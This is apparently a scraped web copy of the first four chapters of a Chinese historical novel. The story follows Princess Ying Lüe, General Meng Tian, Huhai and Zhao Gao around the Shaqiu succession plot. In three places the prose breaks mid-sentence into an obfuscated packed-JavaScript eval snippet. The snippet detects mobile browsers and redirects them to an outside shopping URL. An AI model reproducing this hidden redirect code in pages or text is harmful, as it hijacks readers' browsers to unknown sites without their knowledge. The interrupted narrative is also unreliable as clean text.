《被拒婚后公主她成了秦三世》 1. 将军梦魇 “陛下……果真要赐死我?” 大秦长公子扶苏颓然奉剑跪于中庭,泣涕满面,使者尖锐的宣召如同君父的诘难声声在耳。 “朕巡游天下,威服海内。命扶苏与将军蒙恬率军数十万戍卫边境,十有余年①,无尺寸之功。扶苏屡上书诽谤朕所为,因不得立为太子而日夜怨怼,为人子不孝,其赐剑以自裁!” 公子扶苏身侧跪着一位仪容恭美的将军,虽恭敬地跪受诏令,八尺有余的身形却挺拔依旧。 使者面向他,尖锐的声音继续宣读上意的审判。 “将军蒙恬居外,宜知公子扶苏之谋而不匡正,其为人臣不忠,赐死!” 与颓然失措的扶苏相比,步入仕途十余载的蒙恬显得冷静自持许多,他在秦廷内有超然的地位,始皇帝对他的尊宠到了将相莫敢与之争的地步。 是以,他从一开始便不相信这是始皇帝陛下对他的诘难。 蒙恬的声音沉稳而冷静,“公子,陛下巡游在外,未立太子。命公子与臣率军数十万戍卫边境,此乃国之重任。如今使者一来便令你我自杀,焉能不知其中有诈?臣请公子复请上意。” 使者却恐拖久生变,声音尖锐而刻薄,不断催促扶苏道,“君令臣死,臣不得不死;父赐子绝,子不得不绝。公子既为人臣,又为人子,难道想违抗君父之意做一个不忠不孝之人吗?” 不忠?不孝?使者代传的诏令就是君父对他的所有评价吗。 烈烈西风摧折着地上的白草,也吹乱了扶苏鬓边散乱的头发,自他被君父发配至此,便年复一年地感受着帝国北境独有的孤寂寒凉和肃杀之气。 这里的秋日一向冷得彻骨,冷得沁人心脾。 扶苏对蒙恬的劝谏和使者的催促皆置之不理,只是缓缓起身,沉默地携着长剑一步一步走至中庭,恭肃地朝帝都咸阳的方向遥遥一拜。 继而惨淡一笑,君父②,我所做的一切,是不是永远得不到您的认可。 一种令所有人始料未及的结局徐徐展开,温热的血液混合着冷秋的肃杀之气扑面而来,公子扶苏以一种毅然决然的姿态血溅当场。 即便是如此血溅当场的悲剧也只是短暂地震惊了在场之人,使者很快又把阴毒的目光投向蒙恬。 这位曾逐退匈奴七百余里的大将军伏地再请,威势不减,声音铿锵有力。 “臣复请上意。” 尽管慑于其威势,但使者一想到沙丘平台大局已定,便坚持不为所动。 “本特使接到的诏令是赐死将军。” 正当双方僵持之际,一位身怀六甲的窈窕佳人佩剑而出,矜贵之气令人无法忽视,那双眼眸光明动彻,一片坚毅,“既然使者不敢转达,那么我亲自替我夫前往沙丘行宫陈情如何?” 蒙恬好像已经预料到她孤身前往会是怎样的悲剧,竭力想要阻止她的离去。 “夫君放心,我定要保你无虞。” 可是那位窈窕佳人只留下一句话身形便渐行渐远,身上绛红色的凤鸟纹裙裾随风翻飞,逐渐消逝在北地枯黄的深深草木之中,让他再也无法触及。 ————————— 边境之地多苦寒,布衾多年冷似铁。 一向习惯孤枕入眠的蒙恬挣扎着从梦魇中惊醒,又是这样真实又荒谬的梦境。 蒙恬轻轻拂去额角的虚汗,极力平复胸中的起伏情绪。 身旁的孤枕寒衾触手可及,虽然年逾而立,他却依旧孑然一身,何来的窈窕佳人为妻室?这不过和以前一样是个荒谬又真实的梦境罢了。 不过,若此梦是上天的预警呢? 蒙恬披衣起身,秉烛来到书案旁,拆开“季端之印”的封泥,打开前些日子胞弟蒙毅寄来的那封家书,羊皮纸上的字迹不复以往的工整,可以想见写信之人的急切。 寥寥数语看得蒙恬深邃的眼眸陡然一紧。 “吾兄,皇帝陛下至平原津而病,令弟还祷山川……” 陛下病了? ——入仕秦廷十余载的蒙恬敏锐地捕捉到书信上令人心惊的消息。 案上明灭跳跃的烛火与案前深邃硬朗的五官交相辉映,蒙恬的剑眉越蹙越紧。 他铺陈竹简,研好墨汁,拿起那支几经改良的兔毫笔开始奋笔疾书…… ————————— 平坦广阔的驰道上由远及近传来车驾的銮铃声,浩浩荡荡的虎贲军奔赴前方为始皇帝的御驾开道。 蕴车内的蟠螭纹铜冰鉴氤氲出丝丝凉意,始皇帝凭在虎座凤鸟纹漆几上闭目养神。 蕴车外驾车的中车府令赵高恭谨地禀告道:“皇帝陛下,沙丘行宫到了。” 沙丘宫——从前是赵国雄主赵武灵王的居所,自秦王嬴政横扫六合,统一天下之后,这里就变成了秦国的一处离宫别馆。 蕴车的车窗被一双养尊处优的手徐徐推开,绛红色的凤鸟纹织锦广袖更显得那双皓白腕子欺霜赛雪,明艳不可方物的脸上一双明眸光明动彻,酷肖当今始皇帝嬴政—其人正是始皇帝二十余子中最得荣宠的长安公主嬴略,甚至连其食邑都是直接继承自嬴政最爱的王弟长安君成蟜。 嬴略微微抬眸目视前方的沙丘行宫,远远便看见庑殿顶上振翅欲飞的凤鸟,秦赵同宗,都源自一颗玄鸟卵。 凤鸟,也即玄鸟是秦国和赵国共同崇拜的祖先图腾。 她朝内轻声禀告道,“君父,今日是否幸沙丘行宫?” 车内传来一道稍显倦怠的声音,“可。” 说罢,始皇帝揉了揉仍有些发胀的额角, “君父何不多休息一会儿?” “天下之事皆决于朕,今日批阅的奏章尚未满一石(约一百二十斤),朕如何能安心休息?” 思及近日上卿蒙毅被派往代地祷告山川一事,嬴略不免担忧,有心之人皆知蒙毅被派往代地祷告山川是一个信号——始皇帝身体不好了,只不过始皇帝厌恶死亡,群臣皆不敢当面奏请身后之事。 身为公主,她的荣宠与君父息息相关,于是再次劝道,“话虽如此,若是君父累坏了御体,天下之事又仰仗何人决断呢?” 天下之事必然仰仗皇帝一人独断——始皇帝只听出了女儿熨帖的劝慰,笑了笑,并未言语。 嬴略接过宦者呈上来的奏章一一摆放到始皇帝面前的漆案上,当触及其中一卷奏章的封泥时,手下却明显一滞。 始皇帝察觉到异样,抬眸一看奏章上赫然印着“内史之印”的封泥,心下顿时有些了然。 “怎么?到现在还对他耿耿于怀?” 想起三年前那场在咸阳闹得沸沸扬扬的拒婚,嬴略毫不掩饰面上愠色,“女儿只是小肚鸡肠的妇人,不是虚怀若谷的君子,怎会轻易原谅一个令我颜面尽失之人呢。” 始皇帝不免笑道,“无介于怀。等他下次再回咸阳述职,朕就是逼婚,也要让他答应迎娶朕的公主。” 嬴略闻言面色稍霁,不免娇气道,“君父取笑我,女儿才不信父亲当真舍得逼迫您尊宠的忠信之臣。” 始皇帝凭在一旁的虎座凤鸟纹漆几上,一双光明洞彻的眼睛似笑非笑地看着女儿。 “如何,时隔三年朕的公主可还愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362073|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下嫁?” 嬴略撇了撇嘴,言语中却不无矜贵傲气,“女儿乃天子之女,想要求娶的君侯将相数不胜数,为何非要行此自取其辱之事,屈尊嫁给一个拒婚之人呢。” 始皇帝叹了口气,“朕是可惜呀,难得一个社稷之才,若能成为朕的子婿,也算是半个嬴氏子孙了。” 嬴略不禁在心中腹诽,君父您也太会盘算了,即便不尚公主,您尊宠的忠信之臣还不是一样忠心耿耿地在上郡为大秦抵御胡患,筑修驰道。 ————————— 七月流火,九月授衣。 时值孟秋七月,秋风渐起,凉意渐浓。 大秦北地天高广阔,蔚蓝的晴空纤尘不染,正午时分强烈的日光照射得人睁不开眼睛,固若金汤的阳周城上唯有主将威仪赫赫的影子和猎猎作响的大秦皂旗。 睡眼惺忪的上郡偏将杨翁子懒洋洋地登上行城,半眯着眼睛道,“你怎么一刻也不得闲,好不容易告假,还来城上巡视。” 蒙恬一本正经道,“身为主将,何来真正的告假时间。” 话音刚落,却突然不由自主地打了个喷嚏。 杨翁子望了望万里无云的晴空,打趣道,“哎呀,今日阳周城上的风好大呀。” 见好友并不理睬自己,杨翁子拍了拍蒙恬的肩膀,“我说你这怕是又被人惦记上了吧。” 蒙恬摸了摸鼻子,“我并无家室之累,何来被人惦记?” “正是因为没有家室,才容易被人惦记吧。若是当初应下陛下赐婚,你这会儿也该儿女成双了。可惜呀……” 杨翁子说着摇了摇头,却得到了一个大义凛然的回复。 “胡患未除,直道未成,何以为家?” “你这话不过是搪塞陛下的借口,偏偏还就能堵上陛下的嘴。” 杨翁子嘿嘿一笑,接着道,“不过——我还能不知道你,你是听说赐婚对象长安公主在陛下诸子中最得荣宠,以至于恣睢骄横,并非你心中所想的窈窕淑女罢了。” 经好友一提,蒙恬忽然就想起了传闻中明艳动关中的长安公主。 如何明艳他不得而知,直至拒婚之前他都与这位长安公主未曾谋面。 二人之间君臣有别,相隔犹如咫尺天涯,以至于他对长安公主仅存的印象,只剩下众星拱月中那一抹高高在上的身影,恍若正午时分耀眼夺目的阳光,不容直视,也不可忽视。 县官(公室、王室)③显贵皆对她的恣睢骄横有所微词,无奈陛下十分宽容,“长安公主乃朕与王后元女,非骄宠无以别诸子。” 自此无人再敢多言。 仰赖陛下恩宠煊赫如此,远非其他诸子所能及。 蒙恬神情的细微变幻逃不过杨翁子的眼睛,他继续打趣道,“所以婉拒陛下赐婚之后,才跑得比於菟(老虎)还快。” 蒙恬垂眸,虽说他原本就打算拒婚之后赶赴上郡戍卫北境,筑修直道,但是——令他“跑得比於菟还快”的真正原因是触怒了天颜。 尽管他深受皇帝陛下尊宠,然而拒婚一事毕竟拂了天子的颜面,所以拒婚之后,心中有气的皇帝陛下令他次日一早便赶赴上郡。 时间太过紧迫,以至于他想向长安公主当面致歉都未能见上一面…… 他虽无意伤及她的声名,却令她后来深陷拒婚非议。他素来行事端正,问心无愧,却唯独在此事上有愧于人。 可惜上郡诸事繁忙,而她远在深宫,他始终未找到机会当面致歉。 不过,听闻此次皇帝陛下巡幸会途径上郡,或许他还有机会再见到她…… 2. 始皇驾崩 “放肆!尔是何人,竟敢阻拦朕的去路!” 暮霭沉沉的九层高台上,衣着玄端的始皇帝拾阶而上,踽踽独行,却被一位倏然而至的使者拦住了去路,那使者龙首鱼身,衣饰皆非俗世所有。 使者持璧言,“吾,天帝使者镐池君也,奉命归还天子二十八年遗失之宝璧。” 始皇帝刚要接过宝璧,那使者却又忽而不见,只留下一声长叹久久回荡在九层高台上。 “宝璧遗失尚可归还,天命将至无可转圜。 “天使何意?” “今年祖龙死——” 苍茫的天地间只剩始皇帝孤身一人持剑伫立在万古长夜中,前不见古人,后不见来者,那声诡秘的叹息如宿命般不断回响在始皇帝的梦魇中,始皇帝只觉得一股刺骨的寒意沁入他的心肺,他的双手紧紧抓住了锦被,一股腥甜忽地自喉中喷涌而出…… ————————— 豫西河雍县,浩瀚无垠的蔚蓝星空下,一位总角少女遥望北辰不住叹息。 “紫微晦暗,帝星失明。天命终不可变欤?” ————————— 始皇寝殿内长明不灭的烛火将公子胡亥的身影拉得清瘦许多。他特意屏退了左右,独自一人为君父守灵,耳畔再无重臣“建言献策”的聒噪,他只觉清净不少。 他并没有亲眼见到君父驾崩,只是在某个阴沉的黑夜,教授他律法的中车府令赵高匆匆而来,将早已沉沉入睡的他唤醒。 如同少年懵懂时失去了生母一样,他在昏昏沉沉中失去了父亲。 君父驾崩的消息恍若平地惊雷一般在他的心中炸开。 那一刹那,他的心中一片空白,甚至忘记了哀恸。 直到赵高用一种极其蛊惑的语调问出了那句话。 “公子想当皇帝吗?” 一道突如其来的闪电照亮了黑夜,他心中那点对权欲的妄想也突然大白于人前。 至尊之位,谁无窥视之心。 何况他是人主之子,生来便离那个至高无上的位置最近。 “上崩于外,无真太子,这是天命眷顾公子。方今天下之权,存亡仅在三人之手——公子与臣、及丞相而已。” 胡亥一直认为只有君父才配坐在那个位置上,君父于他而言是只可仰视无法企及的高山,从小到大,他的一言一行无不在尽力效仿君父,如今君父驾崩,他是不是也能像君父一样坐上至尊之位呢? 狂风大作,把没有关严的窗棂吹开一条缝隙,微弱的烛火也被吹得忽明忽灭,映衬得窗棂前的胡亥身影也是颤抖的。 “可是,废长立幼,不义;不奉父诏,不孝;材不配位,不能。如此天下不服,岂非身死国灭。” 赵高捧着黑夜中唯一的光亮佯装要走,“制人与受制于人,岂可同日而语。公子既然不想把握时机,臣亦不愿强人所难。” 赵高的蛊惑之言如同蛇信一般不断舔舐着他压抑了十数年的野心。 “等等。”他不想在黑暗中沉沦,及时抓住了赵高的衣袖,眼中流露出一抹势在必得的光芒,仿佛是一只初次捕猎的狼崽对着他的猎物蓄势待发。 “不与丞相谋,恐不能成事。请赵君为我与丞相谋之。” “诺。” 赵高的脸一半暴露在烛火的光明中,另一半却被帷幕的阴影所遮挡,这使得他眼底的笑意格外诡异。 应诺之后,赵高意料之外地并未离去,而是继续道,“还有一事,臣不得不向太子进言。” 方才的变故和决断已经用尽了胡亥毕生的精力,他此刻不想再思考任何事情,只是疲惫道,“有什么事情,老师改日再说吧。” 赵高却道,“性命攸关,臣不得不言。” “说吧。” “臣请太子割爱,处死长安公主。” 胡亥忽然睁开眼睛,猛地扯住赵高的衣襟,“你说什么!” 赵高再次重申了那句阴毒的谏言,“臣请太子处死长安公主。” 目眦尽裂的胡亥仿佛一头被惹怒的小兽,不受控制地收紧了赵高衣襟处的爪子,仿佛下一秒就要将赵高撕得粉碎,“放肆!你竟敢谏言孤杀死自己的王姊……你知不知道孤与王姊少小相伴,胜似同胞。” 赵高任由胡亥紧紧揪着他的衣襟,身为老师,他太了解自己的学生了,从胡亥忍不住皇位的诱惑开始,他就等同于将扼住脖颈的缰绳主动交到了自己手中。 赵高心中对这头小兽的怒火报以轻蔑一笑,面上却愈加恭谨,“胜似同胞,却毕竟不是同胞。况且,不仅太子同公主亲近,先帝也最亲近这个女儿,时常召见陪侍,太子以为先帝驾崩一事能瞒得了长安公主吗?” 胡亥愣愣地松了手,他仿佛被赵高说动了。 是啊,王姊一向最得君父宠爱,每次巡游都被君父带在身侧,就连此次他请求跟随君父巡游,都少不了王姊从旁说情的功劳。 如此一位备受荣宠的公主,君父驾崩的消息怎么可能隐瞒得了她。 “臣与太子所谋乃是一场生死赌局。为了防患于未然,我们绝不能让公主成为这场生死赌局的变数。” 赵高极具蛊惑性的音调逐渐变得有些阴鸷,“后宫女眷身娇体弱,不幸‘病故’于巡游途中也是有先例的。太子切勿优柔寡断,否则遗患无穷啊……” 胡亥有些犹豫,君父二十余子,王姊与他而言始终与旁人不同。 他于年少懵懂时失去了母亲,宫里的人都对他生母的自戕讳莫如深,他这个人主之子也逐渐被遗忘在某处无人问津的深宫角落,如果没有王姊,他或许终其一生就这么终老于宫中。 而王姊的到来驱散了他身边所有的晦暗和阴霾,是她将自己带到君父身边,自己才有机会得到君父的关注,尽管这一切的源头只不过是因为他那张酷肖生母的漂亮脸蛋。 此后十数年的朝夕相处更让他对王姊产生了一种微妙的依恋之情,甚至忘记了他们本应是同龄人。 王姊生而子凭母贵,又惯会讨得君父欢心,她的光芒几乎盖过了君父所有孩子。他羡慕她的光芒,依恋她的光芒,甚至嫉妒她的光芒。 然而他亦十分清楚,她的光芒再盛,也只不过是一位公主。有一样东西王姊永远无法企 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362074|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及——那就是太子之位。 君父再宠爱王姊,也不会立她为太子。古往今来都没有这样的规矩。 因此,他从不觉得王姊的光芒是一种威胁,相反,他越与王姊亲近,就越能利用这种光芒获益。 无论登上那个至尊之位需要献祭多少人,王姊都不会成为他首选的祭品。 “老师怎知王姊一定会背叛孤呢?” 听到胡亥的反问,赵高没有立刻反应过来,这是沙丘之变以来胡亥第一次质疑他的话,“公主……公主虽与太子亲近,可是却从未在先帝面前支持您做太子。” “孤知道。”胡亥眸色稍暗,这一点也是他方才的犹疑之处。 不过,他也很快为王姊找到了一个无法令人反驳的理由,“从前君父厌恶死亡,群臣皆不敢当面奏请身后之事,王姊也不过是洞悉上意,所以从不置喙东宫之争。况且,元后无男嗣,王姊没有同胞兄弟,除了孤这个少小相伴的王弟,她还能支持谁呢?” 这种辩解也是为了说服他自己。 赵高习惯性地在阴暗的角落低眉俯首,却提出了一个让胡亥炸裂的名字,“长公子扶苏。” 赵高不愧是这场生死赌局的组局人,他总是能精准拿捏每个人的软肋。 ————————— 自从胡亥入了这场生死赌局,欣喜之余也夜夜不得安枕。 数日来,他总是被相似的梦魇所侵袭,梦中的他还未离开沙丘行宫。 一位宦者颤颤巍巍地爬进他的寝殿内,惶恐地禀告着,“太子,长安公主突然持剑闯宫,臣等实在拦不住啊。” 黑暗中伫立着的胡亥用眼角余光斜视宦者,“王姊?她不是自出降之后就随军常驻上郡吗。” 宦者匍匐在地,并不敢直视他,“想必……想必是为了那道发往上郡的诏书。听闻公主日夜策马疾驰,甚至将使者的车队都甩在了后面。” 他的唇角在黑暗中弯成了一个奇怪的弧度,“王姊风尘仆仆而来,我怎能不亲自迎接呢?传令下去,谁都不准阻拦长安公主,孤要在君父的寝殿前亲自接见。” 幽冥晦暗的天空中黑云低沉,不断向下压迫着寒光凛凛的沙丘行宫,一排寒鸦掠过庑殿顶上振翅欲飞的凤鸟,凄厉的叫声久久回荡在高台之上。 一位身着玄端的女子拾阶而上,而高台之上早已等候着另一位同样衣着玄端的男子。 “王姊,别来无恙。” 确实别来无恙,自她出嫁之后常驻上郡,他们姊弟已经三年未见了。 她却与他对峙道,“我要见君父。” 三年未见,姊弟重逢竟是这样的开场。 不过,胡亥心中早已预料到会如此,他们二人之间的立场自她成婚那日起已经被划分得泾渭分明。 如今她非但不会以王姊的身份支持自己,反而会以别家妇的身份质疑自己。 胡亥站在上方居高临下地宣告道,“君父病重,命我监国。王姊有什么话同我说吧。” 她坚定地重申,“我要见君父。” 胡亥低头看着她,“王姊真的要见君父吗?” 3. 沙丘惊变 沙丘行宫外黑云密布,阴沉晦暗,始皇帝寝殿外的守卫比以往更为森严,身披甲衣手持利兵的郎中们整齐地排布在殿外,在阴沉的天光下寒光凛凛。 殿内并不像以往那样灯火通明,只稀稀落落地点着几支烛火,仿佛蒿里山野中的点点鬼火,偏偏周遭还放置了许多蟠虺纹铜冰鉴,泛着幽幽的寒光,更令人望而生畏。 每走一步,嬴略都仿佛置身于幽深阴冷的黄泉之中。 她快步穿过大殿,直觉却让她在始皇榻前的凤鸟蟠虺纹锦绣屏风前突兀地停了下来,也许是大殿内放置的冰鉴太多了,她没由来地察觉出一种彻骨的凉意,她下意识先地扶住自己的肚子,然后谨慎地在屏风外下拜。 “女儿拜见君父。” ——无人应答。 她的心中更凉了几分,愈加恭谨道。 ——“臣拜见陛下。” 正当她心中犹疑是否要再次下拜时,胡亥的声音却在身后响起。 “君父病重,听不到王姊的请见。王姊还是直接来榻前拜见吧。” 如果说方才她只是犹疑,现在却是惊疑。 君父至平原津就生病了,病笃和病逝只有一字之差。 她怕,她很怕心中的惊疑会变成现实。 但是对君父的担忧和对诏书的疑心已经超越了她心中的恐惧,她必须上前探查真相,哪怕上前一步即是万丈深渊。 ——始皇的确躺在榻上,只不过是作为一具冰冷的尸体被陈放在榻上。 她惊叫出声,本能地想要在黑暗中寻找另一只手相携,可是胡亥的身影早已在黑暗中潜行匿迹。 眼泪瞬间淌满了她整个脸庞,她跪倒在了始皇榻前,失声恸哭,“君父……” 另一只冰冷的手却从黑暗中悄无声息地伸出捂住了她的嘴,胡亥出现在她身后,冷冷地宣告道,“如你所见,上崩于外。” 嬴略转过头,尽管眼泪仍然淌在脸上,那双明眸却直视着胡亥,世人都说这双明眸像极了始皇帝,有着洞悉一切的威仪。 “那么,发往上郡的诏书果真出自君父之口吗?” 胡亥被那道突如其来的眼神慑住,但他很快稳住了心神,因为真正可以洞悉一切的君父如今只不过是躺在榻上的一具尸体。 他冷笑道,“怎么,王姊是在怀疑我?我可是遗诏钦定的太子,王姊质疑我等同于质疑君父。还是说,王姊想要做一个不奉父诏的乱臣贼子?” “不奉父诏的乱臣贼子?”嬴略冷冷地与他对峙,“到底谁才是不奉父诏的乱臣贼子!” 锦衣之下的手紧了紧腰间悬挂的王者之剑太阿,胡亥心中杀意渐起,“王姊,你不要逼我——” 嬴略起身与他对峙,明眸之中愈加有始皇的威势,“你敢在君父榻前起誓遗诏是真的吗?” 王姊在质疑他得位不正,在这场生死赌局中,谁都不可以质疑他得位不正,哪怕是王姊。 胡亥的眼睛中逐渐折射出暴力恣睢的目光,犹如一头失怙的狼受到了生存威胁。 下一秒,烛火颤动,寒光闪过,太阿剑以一种始料未及的速度挥向嬴略。 利刃蜂鸣之后,在嬴略白皙修长的脖上留下了一道鲜红的血痕。 若非她本能地向后退去以求自保,太阿剑在她脖颈上留下的绝不是一道血痕那么简单。 然而,她虽然极力避免太阿剑的锋芒,却还是被席子上的鹿形铜镇绊倒。 这一跤摔得并不算狠,但她已经身怀六甲,又日夜兼程地从上郡赶赴沙丘,方才还遭受了上崩于外的惊变,如今的这一跤简直摔得要命。 殷红的血顷刻间从玄色的裙裾下渗透出来,整个大殿内回荡着嬴略声嘶力竭的求救声,“来人,宣太医,快宣太医……” 依旧是无一人应答。 胡亥被一系列的变故惊得有些不知所措,他本能地想要伸出手去扶一把,可是那双手刚伸出去又蜷缩回了黑暗之中,如今沙丘行宫尽在他的掌控之中,如果王姊死在这里,就不存在上郡之危了。 嬴略也很快意识到了这样的局势,她吃力地爬到胡亥脚下,拽着他的衣摆,用前所未有的卑微姿态低声下气恳求着,“求求你,救救我的孩子,求你……救救我的孩子……” 胡亥被她苍白痛苦的神色和身下的鲜血所刺痛,但是他没有理会她的哀求,而是索性撇过脸去。 眼泪从他的脸上无声划过,从他选择加入这场生死赌局开始,就注定了会有流血和死亡。 只是他没想到,王姊会成为他献祭的第一人…… ————————— 久忧梦中惊坐起,正是夜阑人静时。 胡亥从梦魇中惊醒,得位不正的质疑依旧回荡在他脑海中。 “什么时辰了?”他问道。 守夜的宫人恭谨回复,“亥时。” 正是他出生的时辰。 “长安公主在何处?” 方才的梦魇太真实了,真实到他急需找人来确认现实。 宫人有些疑惑,但还是回复道,“公主……应当是在自己的寝殿内安歇。” 胡亥一边焦急地从枕边寻找什么东西一边吩咐着,“召她前来。” 时辰已晚,宫人有些不确定,“现在……召公主来此?” 仓促间,胡亥终于在枕边找到了那两道明黄色的绢帛,稍加思索了一番,他重新吩咐道,“召长安公主去先帝的寝殿候着。” 末了,他又补充道,“以先帝的名义。” ————————— 踏入始皇寝殿的嬴略从未有过如此陌生惶恐的感觉。 殿内并不像以往那样灯火通明,只是稀稀落落地点着几支烛火,仿佛蒿里山野中的点点鬼火,偏偏周遭还放置了许多蟠虺纹铜冰鉴,泛着幽幽的蓝光,更令人畏生寒意。每走一步,嬴略都仿佛置身于幽深阴冷的黄泉之中。 走了许久,她终于在始皇榻前的凤鸟蟠虺纹锦绣屏风上看到一道瘦长的身影,和始皇有些相像,却并不是始皇。 那身影的主人幽幽道,“王姊,你来了。” 听到声音的嬴略有些犹疑,“阿亥?” 屏风内的胡亥叹息一声,“王姊,君父还等着你呢。” 进入寝殿之前,敏锐的直觉已经让嬴略察觉出或有大事惊变,但这里毕竟是君父的寝殿,召她前来的也是君父,她不能不从。 因此她谨慎地在屏风外下拜。 “女儿拜见君父。” ——无人应答。 稍一屏息换气,嬴略愈加恭谨。 “臣拜见陛下。” ——依旧是无人应答。 正当她心中犹疑是否要再次下拜时,胡亥的声音却在身后响起。 “君父病重,听不到王姊的请见。王姊还是直接来榻前拜见吧。” 如果说方才她只是犹疑,现在却是惊疑。 至平原津以来,君父一直身体不好,病笃和病逝只有一字之差。 她怕,她很怕心中的惊疑会变成现实。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362075|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但是对君父的担忧和对局势的疑心已经超越了她心中的恐惧,她必须上前探查真相,哪怕上前一步即是万丈深渊。 ——始皇的确躺在榻上,只不过是作为一具尸体被陈放在榻上。 她惊叫出声,本能地想要在黑暗中寻找一只可以相携的手,可是胡亥的身影早已在黑暗中潜行匿迹。 下一秒眼泪瞬间淌满了她整个脸庞,她跪倒在了始皇榻前,放声恸哭,“君父……” 另一只冰冷的手却从黑暗中悄无声息地伸出捂住了她的嘴,胡亥那毫无温度的声音再次在她耳边响起,“王姊别叫,若让旁人听见,你我都将死无葬身之地。” 无声的眼泪止不住地从苍白的脸上划过,嬴略惊惶失措地望着榻上的君父,从前他是至高无上的始皇帝,永远高高在上,永远令人仰望,而现在,他只能静静地被人陈放在榻上,冰冷僵硬,一动也不能动。 许是被泪水烫到了,胡亥收了手,“如你所见,君父……突然崩于沙丘行宫。” 嬴略失魂落魄地跪倒在始皇帝榻前,她深吸了几口气,极力平复着内心的惊惧和哀恸。 胡亥屏气凝神,目不转睛地盯着她的神情,一只手紧紧蜷在锦衣之下,另一只手却是不由自主握紧了腰间的太阿剑。 寝殿之中静得可怕,只剩下嬴略急促的呼吸声。 胡亥的心随着她的呼吸急促跳动,王姊会做何选择?是像梦中一样质疑自己还是会一如既往地站在自己这边? 然而下一秒,跪倒在始皇帝塌前的嬴略却主动拉住了他的裙裾,言语之中透露着明显的惊慌失措,“我们该怎么办?我们该怎么办……” 胡亥终于长舒一口气,还好,王姊的第一反应并不是质疑他。 “君父留下遗诏立我为太子,扶柩回咸阳发丧。”胡亥如此确信道。 嬴略讶然转过身去,泪水还淌在脸上,“遗诏在何处?” 胡亥知道她会有此一问,将一件漆匣递给她。 嬴略接过漆匣,一眼就认出了上面皇帝之玺的封泥——受命于天,既寿永昌。 只不过,上面的封泥已经被拆开了,她并不是第一个知道上崩于外的人。 她颤颤巍巍地打开匣子,里面是熟悉的明黄色绢帛,今日这张绢帛仿佛有万钧之重,上面书写着千古一帝始皇帝一生当中做的最后一项决策: “朕巡游天下,欲以变气易命,至沙丘平台病笃,方知天命终不可变欤。朕霸王之寿足矣,应丞相李斯、御史大夫冯劫之请,以子胡亥代后。朕怜太子年少孤弱,恐不胜大臣之纷争,乃托孤于丞相李斯,御史大夫冯劫为副,与丧会咸阳而葬。”① 嬴略一目十行地看完了遗诏,立刻抓住了重点——巡游途中的一众大臣应当已经默许这样的遗诏。不然,这道遗诏根本不会到她的手里。 虽然心中有诸多惊疑,但此时此刻她只能死死压住内心的惊疑和哀恸。 方才她可没忽视胡亥锦衣之下的手,他的手中握的是太阿剑,象征帝王权柄的太阿剑。稍有迟疑,恐怕她这个少小相伴的王姊也会是剑下亡魂。 所以她方才才会极力扮演好一个“六神无主”的公主。 沙丘行宫大局已定。她暗自叹了口气,时则不至,她一个位尊却无权的公主只能被迫“识时务”地选择明哲保身。 思及此,她很快稳住心神,伏地朝胡亥行参拜大礼。 胡亥居高临下地受了她的礼,却是继续道,“王姊还未查看第二封诏书呢。” 4. 沙丘之“变” 第二封……诏书? 嬴略抬起头,震惊之色溢于言表。 她慌乱中去翻那个漆盒,殿内的光线实在太昏暗,以至于她几乎未注意到漆盒的底部还有第二封诏书。 诏书上的小篆在她氤氲出的眼泪中逐渐模糊,她强忍着忍住泪水,诏书上的小篆又赫然清晰地映现在眼前。 “扶苏为人子不孝,其赐剑以自裁……” “……蒙恬为人臣不忠,其赐死。” 怎么会?怎么会…… 她虽然在史书中看过太多王位更迭引发的血雨腥风,但是从未想过有朝一日自己也会直面这种血淋淋的现实。 这样残忍的画面如同昔日的沙丘之变在她眼前徐徐展开。 沙丘宫的主人曾是赵武灵王这样的雄主,他虽然主持过胡服骑射这样名垂青史的变革,却在壮年之后让位于少子赵何,退居沙丘宫做起了主父。 长子赵章因不忿王位被夺,起兵叛乱,却以兵败告终。当赵章逃至沙丘宫向君父赵武灵王求救时,已失权柄的赵武灵王也却是掩面难救,甚至连他本人也被活活饿死在沙丘宫。 沙丘行宫——果然是个不详的坠龙之地。 如今,沙丘行宫的诅咒继续在嬴氏族人的身上应验了。 嬴略闭目叹息,泪水顺着她苍白的脸颊滑落,“这是真的吗?” 胡亥居高临下地俯身想要替她轻轻拭去面上的泪水,说出来的话却无比残忍,“是真的。王兄——已在上郡从容赴死。” 嬴略下意识避开他的手,勉力起身,身体却在止不住地颤抖。 胡亥这次没有去扶她,那张漂亮的脸上逐渐浮现出一种天真的邪恶,“王姊这是怎么了?是因为殿内放置了太多冰鉴觉得冷吗?还是说——你希望死的人是我?” 嬴略极力忍住内心波涛汹涌的情绪,假使长兄和君父未死,或许她还可以尽力转圜,可事已至此,事已至此—— 